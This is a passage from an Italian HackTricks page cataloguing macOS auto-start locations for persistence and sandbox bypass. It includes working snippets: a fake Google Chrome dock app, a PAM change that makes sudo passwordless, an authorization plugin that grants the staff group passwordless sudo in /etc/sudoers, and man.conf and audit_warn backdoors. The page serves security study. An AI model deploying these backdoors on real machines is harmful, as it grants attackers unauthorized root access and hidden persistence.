È possibile aggiungere un’applicazione semplicemente con:
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
# Restart Dock
killall Dock
Usando un po’ di social engineering potresti fingerti, per esempio, Google Chrome nel dock ed effettivamente eseguire il tuo script:
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock
Selettori di colore
Writeup: https://theevilbit.github.io/beyond/beyond_0017
- Utile per bypass della sandbox: 🟠
- Deve avvenire un’azione molto specifica
- Finirai in un’altra sandbox
- TCC bypass: 🔴
Posizione
/Library/ColorPickers- Richiede root
- Trigger: Usa il color picker
~/Library/ColorPickers- Trigger: Usa il color picker
Descrizione & Exploit
Compila un bundle di selettore di colore con il tuo codice (puoi usare this one for example) e aggiungi un constructor (like in the Screen Saver section) e copia il bundle in ~/Library/ColorPickers.
Poi, quando il selettore di colore viene attivato dovresti esserlo anche tu.
Nota che il binary che carica la tua libreria ha una sandbox molto restrittiva: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64
[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
Finder Sync Plugins
Writeup: https://theevilbit.github.io/beyond/beyond_0026/
Writeup: https://objective-see.org/blog/blog_0x11.html
- Utile per bypass sandbox: No, perché devi eseguire la tua app
- TCC bypass: ???
Posizione
- Un’app specifica
Descrizione & Exploit
Un esempio di applicazione con una Finder Sync Extension può essere trovato qui.
Le applicazioni possono avere Finder Sync Extensions. Questa extension sarà inserita in un’applicazione che verrà eseguita. Inoltre, perché l’extension possa eseguire il suo codice essa must be signed con un certificato Apple developer valido, deve essere sandboxed (anche se possono essere aggiunte eccezioni più permissive) e deve essere registrata con qualcosa del tipo:
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
Salvaschermo
Writeup: https://theevilbit.github.io/beyond/beyond_0016/
Writeup: https://posts.specterops.io/saving-your-access-d562bf5bf90b
Posizione
/System/Library/Screen Savers- Root required
- Trigger: Seleziona il salvaschermo
/Library/Screen Savers- Root required
- Trigger: Seleziona il salvaschermo
~/Library/Screen Savers- Trigger: Seleziona il salvaschermo
.png)
Descrizione & Exploit
Crea un nuovo progetto in Xcode e seleziona il template per generare un nuovo Salvaschermo. Poi, aggiungi il tuo codice ad esso, per esempio il seguente codice per generare log.
Build it, and copy the .saver bundle to ~/Library/Screen Savers. Then, open the Screen Saver GUI and it you just click on it, it should generate a lot of logs:
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
Caution
Nota che, poiché all’interno degli entitlements del binario che carica questo codice (
/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver) puoi trovarecom.apple.security.app-sandbox, sarai all’interno del sandbox comune delle applicazioni.
Codice dello screensaver:
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}
- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}
- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}
- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}
- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}
- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}
- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}
@end
Plugin di Spotlight
writeup: https://theevilbit.github.io/beyond/beyond_0011/
- Useful to bypass sandbox: 🟠
- But you will end in an application sandbox
- TCC bypass: 🔴
- The sandbox looks very limited
Posizione
~/Library/Spotlight/- Trigger: Viene creato un nuovo file con un’estensione gestita dal plugin Spotlight.
/Library/Spotlight/- Trigger: Viene creato un nuovo file con un’estensione gestita dal plugin Spotlight.
- Root required
/System/Library/Spotlight/- Trigger: Viene creato un nuovo file con un’estensione gestita dal plugin Spotlight.
- Root required
Some.app/Contents/Library/Spotlight/- Trigger: Viene creato un nuovo file con un’estensione gestita dal plugin Spotlight.
- New app required
Descrizione & Sfruttamento
Spotlight è la funzione di ricerca integrata di macOS, progettata per fornire agli utenti accesso rapido e completo ai dati sui loro computer.
Per facilitare questa capacità di ricerca rapida, Spotlight mantiene un database proprietario e crea un indice parsando la maggior parte dei file, permettendo ricerche veloci sia nei nomi dei file sia nel loro contenuto.
Il meccanismo sottostante di Spotlight coinvolge un processo centrale chiamato ‘mds’, che sta per ‘metadata server’. Questo processo orchestra l’intero servizio Spotlight. A complemento, ci sono diversi demoni ‘mdworker’ che svolgono una varietà di compiti di manutenzione, come l’indicizzazione di diversi tipi di file (ps -ef | grep mdworker). Queste attività sono rese possibili tramite Spotlight importer plugins, o “.mdimporter bundles”, che permettono a Spotlight di comprendere e indicizzare contenuti attraverso una gamma diversificata di formati di file.
I plugin o i bundle .mdimporter si trovano nei percorsi menzionati precedentemente e se appare un nuovo bundle viene caricato entro un minuto (non è necessario riavviare alcun servizio). Questi bundle devono indicare quali tipi di file ed estensioni possono gestire, in modo che Spotlight li utilizzi quando viene creato un nuovo file con l’estensione indicata.
È possibile trovare tutti i mdimporters caricati eseguendo:
mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
E per esempio /Library/Spotlight/iBooksAuthor.mdimporter viene usato per analizzare questi tipi di file (estensioni .iba e .book tra le altre):
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]
Caution
Se controlli il Plist di altri
mdimporterpotresti non trovare la voceUTTypeConformsTo. Questo perché è un Uniform Type Identifiers (UTI) integrato e non deve specificare estensioni.Inoltre, i plugin di sistema predefiniti hanno sempre la precedenza, quindi un attaccante può accedere solo ai file che non sono già indicizzati dagli stessi
mdimportersdi Apple.
Per creare il tuo importer puoi partire da questo progetto: https://github.com/megrimm/pd-spotlight-importer e poi cambiare il nome, i CFBundleDocumentTypes e aggiungere UTImportedTypeDeclarations in modo che supporti l’estensione che vuoi gestire e rifletterle in schema.xml.
Poi modifica il codice della funzione GetMetadataForFile per eseguire il tuo payload quando viene creato un file con l’estensione processata.
Infine compila e copia il tuo nuovo .mdimporter in una delle posizioni precedenti e puoi verificare quando viene caricato monitorando i log o eseguendo mdimport -L.
Pannello Preferenze
Caution
Sembra che questo non funzioni più.
Writeup: https://theevilbit.github.io/beyond/beyond_0009/
Posizione
/System/Library/PreferencePanes/Library/PreferencePanes~/Library/PreferencePanes
Descrizione
Sembra che questo non funzioni più.
Bypass della sandbox a livello root
Tip
Qui puoi trovare posizioni di avvio utili per il sandbox bypass che ti permettono di eseguire qualcosa semplicemente scrivendolo in un file essendo root e/o richiedendo altre condizioni strane.
Periodic
Writeup: https://theevilbit.github.io/beyond/beyond_0019/
Posizione
/etc/periodic/daily,/etc/periodic/weekly,/etc/periodic/monthly,/usr/local/etc/periodic- Richiede root
- Trigger: Quando è il momento
/etc/daily.local,/etc/weekly.localor/etc/monthly.local- Richiede root
- Trigger: Quando è il momento
Descrizione & Sfruttamento
Gli script periodici (/etc/periodic) vengono eseguiti a causa dei launch daemons configurati in /System/Library/LaunchDaemons/com.apple.periodic*. Nota che gli script memorizzati in /etc/periodic/ vengono eseguiti come proprietario del file, quindi questo non funzionerà per una potenziale escalation di privilegi.
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
Ci sono altri script periodici che verranno eseguiti, come indicato in /etc/defaults/periodic.conf:
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
Se riesci a scrivere uno qualsiasi dei file /etc/daily.local, /etc/weekly.local o /etc/monthly.local verrà eseguito prima o poi.
Warning
Nota che lo script periodic sarà eseguito come il proprietario dello script. Quindi se lo possiede un utente normale, verrà eseguito come quell’utente (questo potrebbe prevenire attacchi di escalation di privilegi).
PAM
Writeup: Linux Hacktricks PAM
Writeup: https://theevilbit.github.io/beyond/beyond_0005/
Posizione
- Richiede sempre root
Descrizione e sfruttamento
Poiché PAM è più focalizzato sulla persistence e sul malware che sulla semplice esecuzione all’interno di macOS, questo blog non fornirà una spiegazione dettagliata, leggi i writeups per capire meglio questa tecnica.
Controlla i moduli PAM con:
ls -l /etc/pam.d
Una persistence/privilege escalation technique che sfrutta PAM è semplice come modificare il modulo /etc/pam.d/sudo aggiungendo all’inizio la riga:
auth sufficient pam_permit.so
Quindi sarà qualcosa del genere:
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
E quindi qualsiasi tentativo di usare sudo funzionerà.
Caution
Nota che questa directory è protetta da TCC, quindi è molto probabile che all’utente venga mostrata una richiesta di accesso.
Un altro buon esempio è su, dove si può vedere che è anche possibile passare parametri ai moduli PAM (e si potrebbe anche backdoor questo file):
cat /etc/pam.d/su
# su: auth account session
auth sufficient pam_rootok.so
auth required pam_opendirectory.so
account required pam_group.so no_warn group=admin,wheel ruser root_only fail_safe
account required pam_opendirectory.so no_check_shell
password required pam_opendirectory.so
session required pam_launchd.so
Plugin di autorizzazione
Writeup: https://theevilbit.github.io/beyond/beyond_0028/
Writeup: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65
- Utile per bypassare la sandbox: 🟠
- Ma è necessario essere root e applicare configurazioni aggiuntive
- TCC bypass: ???
Posizione
/Library/Security/SecurityAgentPlugins/- Richiede privilegi root
- È inoltre necessario configurare il database di autorizzazione per usare il plugin
Descrizione & Sfruttamento
È possibile creare un plugin di autorizzazione che verrà eseguito quando un utente effettua il login per mantenere la persistenza. Per maggiori informazioni su come crearne uno, consulta i writeup precedenti (e fai attenzione: un plugin scritto male può bloccarti fuori e dovrai pulire il Mac dalla recovery mode).
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
Sposta il bundle nella posizione in cui verrà caricato:
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
Infine aggiungi la regola per caricare questo Plugin:
cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
Il parametro evaluate-mechanisms indicherà al framework di autorizzazione che sarà necessario chiamare un meccanismo esterno per l’autorizzazione. Inoltre, privileged farà sì che venga eseguito da root.
Attivalo con:
security authorize com.asdf.asdf
E poi il il gruppo staff dovrebbe avere accesso sudo (leggi /etc/sudoers per confermare).
Man.conf
Writeup: https://theevilbit.github.io/beyond/beyond_0030/
Posizione
/private/etc/man.conf- Richiede root
/private/etc/man.conf: Ogni volta che viene usato man
Descrizione & Exploit
Il file di configurazione /private/etc/man.conf indica il binario/script da usare quando si aprono i file di documentazione di man. Quindi il percorso dell’eseguibile può essere modificato in modo che ogni volta che l’utente usa man per leggere della documentazione venga eseguita una backdoor.
Per esempio impostare in /private/etc/man.conf:
MANPAGER /tmp/view
Poi crea /tmp/view come:
#!/bin/zsh
touch /tmp/manconf
/usr/bin/less -s
Apache2
Writeup: https://theevilbit.github.io/beyond/beyond_0023/
- Utile per bypass sandbox: 🟠
- Ma è necessario essere root e apache deve essere in esecuzione
- TCC bypass: 🔴
- Httpd non ha entitlements
Location
/etc/apache2/httpd.conf- Richiede root
- Trigger: quando Apache2 viene avviato
Descrizione & Exploit
Puoi indicare in /etc/apache2/httpd.conf di caricare un modulo aggiungendo una riga come:
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
In questo modo il tuo modulo compilato verrà caricato da Apache. L’unica cosa è che o devi firmarlo con un certificato Apple valido, oppure devi aggiungere un nuovo certificato attendibile nel sistema e firmarlo con esso.
Poi, se necessario, per assicurarti che il server venga avviato puoi eseguire:
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
Esempio di codice per la Dylb:
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}
BSM audit framework
Writeup: https://theevilbit.github.io/beyond/beyond_0031/
- Utile per bypass della sandbox: 🟠
- Ma è necessario essere root, che auditd sia in esecuzione e causare un avviso
- TCC bypass: 🔴
Posizione
/etc/security/audit_warn- Richiede root
- Trigger: Quando auditd rileva un avviso
Descrizione & Exploit
Ogni volta che auditd rileva un avviso lo script /etc/security/audit_warn viene eseguito. Quindi puoi aggiungere il tuo payload al suo interno.
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
Puoi forzare un avviso con sudo audit -n.
Elementi di avvio
[!CAUTION] > Questo è deprecato, quindi non dovrebbe esserci nulla in quelle directory.
Il StartupItem è una directory che dovrebbe trovarsi in /Library/StartupItems/ o in /System/Library/StartupItems/. Una volta creata questa directory, deve contenere due file specifici:
- Un rc script: uno script shell eseguito all’avvio.
- Un plist file, chiamato specificamente
StartupParameters.plist, che contiene varie impostazioni di configurazione.
Verifica che l’rc script e il file StartupParameters.plist siano posizionati correttamente all’interno della directory StartupItem affinché il processo di avvio li riconosca e li utilizzi.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>
emond
Caution
I cannot find this component in my macOS so for more info check the writeup
Writeup: https://theevilbit.github.io/beyond/beyond_0023/
Introdotto da Apple, emond è un meccanismo di logging che sembra essere poco sviluppato o forse abbandonato, eppure rimane accessibile. Pur non essendo particolarmente utile per un amministratore Mac, questo servizio oscuro potrebbe fungere da metodo di persistenza sottile per attori di minaccia, probabilmente inosservato dalla maggior parte degli amministratori macOS.
Per chi ne è a conoscenza, identificare qualsiasi uso malevolo di emond è semplice. Il LaunchDaemon di sistema per questo servizio cerca script da eseguire in un’unica directory. Per ispezionarla, è possibile usare il seguente comando:
ls -l /private/var/db/emondClients
XQuartz
Writeup: https://theevilbit.github.io/beyond/beyond_0018/
Posizione
/opt/X11/etc/X11/xinit/privileged_startx.d- Root required
- Trigger: With XQuartz
Descrizione & Exploit
XQuartz is no longer installed in macOS, quindi se vuoi maggiori informazioni consulta il writeup.
kext
Caution
È così complicato installare un kext anche come root che non lo considererò utile per evadere dalle sandboxes o per persistence (a meno che tu non abbia un exploit)
Posizione
Per installare un KEXT come elemento di avvio, deve essere installato in una delle seguenti posizioni:
/System/Library/Extensions- KEXT files built into the OS X operating system.
/Library/Extensions- KEXT files installed by 3rd party software
Puoi elencare i file kext attualmente caricati con:
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
For more information about kernel extensions check this section.
amstoold
Writeup: https://theevilbit.github.io/beyond/beyond_0029/
Posizione
/usr/local/bin/amstoold- Richiede root
Descrizione e Sfruttamento
Apparentemente il plist da /System/Library/LaunchAgents/com.apple.amstoold.plist usava questo binario esponendo un XPC service… il problema è che il binario non esisteva, quindi potevi mettere qualcosa in quel percorso e quando il servizio XPC veniva invocato il tuo binario sarebbe stato chiamato.
Non riesco più a trovare questo nel mio macOS.
xsanctl
Writeup: https://theevilbit.github.io/beyond/beyond_0015/
Posizione
/Library/Preferences/Xsan/.xsanrc- Richiede root
- Trigger: Quando il servizio viene eseguito (raramente)
Descrizione e exploit
Apparentemente non è molto comune eseguire questo script e non sono nemmeno riuscito a trovarlo nel mio macOS, quindi se vuoi più informazioni controlla il writeup.
/etc/rc.common
[!CAUTION] > Questo non funziona nelle versioni moderne di MacOS
È anche possibile posizionare qui comandi che verranno eseguiti all’avvio. Esempio di script rc.common regolare:
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}
#
# Generic action handler
#
RunService ()
{
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
}
Tecniche e strumenti di Persistence
Riferimenti
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


